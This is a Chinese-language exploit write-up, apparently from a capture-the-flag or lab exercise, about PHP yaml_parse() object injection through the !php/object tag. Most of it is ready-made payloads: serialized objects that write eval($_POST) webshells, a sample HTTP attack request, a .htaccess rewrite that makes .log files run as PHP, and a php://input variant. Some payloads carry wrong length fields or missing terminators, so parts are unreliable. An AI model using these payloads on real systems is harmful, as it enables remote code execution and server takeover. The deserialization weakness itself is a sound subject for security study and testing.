关于yaml_parse()官方文档有一段警告:
Notes
Warning Processing untrusted user input with yamlparse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decodephp ini setting.
警告:如果为使用 !php/object 标记的节点启用了unserialize(),则使用yamlparse()处理不可信用户输入是非常危险的。这种行为可以通过使用yaml.decodephp ini设置来禁用。
所以在开头部分使用!php/object就会造成后面字符串的反序列化
这段PHP代码存在两个关键漏洞:
不安全的YAML反序列化:通过yaml_parse()直接解析用户输入的YAML数据,可能导致对象注入攻击
危险的文件写入操作:log类的__destruct()方法使用file_put_contents()将可控内容写入文件
漏洞利用实现
1. 基本Webshell写入
利用原理:
构造YAML数据实例化log对象
控制filename和content属性写入PHP代码
Payload:
yaml
---
!php/object:O:3:"log":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:29:"<?php eval($_POST['cmd']); ?>";}
HTTP请求示例:
http
POST /vulnerable.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
content=---%0A!php/object:O:3:%22log%22:2:{s:8:%22filename%22;s:9:%22shell.php%22;s:7:%22content%22;s:29:%22%3C?php%20eval($_POST[%27cmd%27]);%20?%3E%22;}
利用效果:
在网站根目录创建shell.php
可通过POST参数执行任意PHP代码:http://target.com/shell.php?cmd=system('whoami');
2. 利用默认文件名写入Webshell
当$log变量不可修改时:
yaml
---
!php/object:O:3:"log":2:{s:8:"filename";s:7:"web.log";s:7:"content";s:73:"<?php file_put_contents('shell.php','<?php eval($_POST[x]);?>'); ?>"}
利用链:
向web.log写入PHP代码
访问web.log触发代码执行
创建真正的webshell文件
3. 利用.htaccess改变文件解析方式
yaml
---
!php/object:O:3:"log":2:{s:8:"filename";s:9:".htaccess";s:7:"content";s:36:"AddType application/x-httpd-php .log"}
后续操作:
再发送一个payload写入web.log作为webshell
访问web.log即可执行PHP代码
4. 利用PHP伪协议写入文件
yaml
---
!php/object:O:3:"log":2:{s:8:"filename";s:11:"php://input";s:7:"content";s:29:"<?php eval($_POST['cmd']); ?>"}
注意:需要服务器配置允许php://input
![]()
!php/object O:3:"log":2:{s:8:"filename";s:5:"1.php";s:7:"content";s:24:"<?php eval($_POST[1]);?>";}
![]()
![]()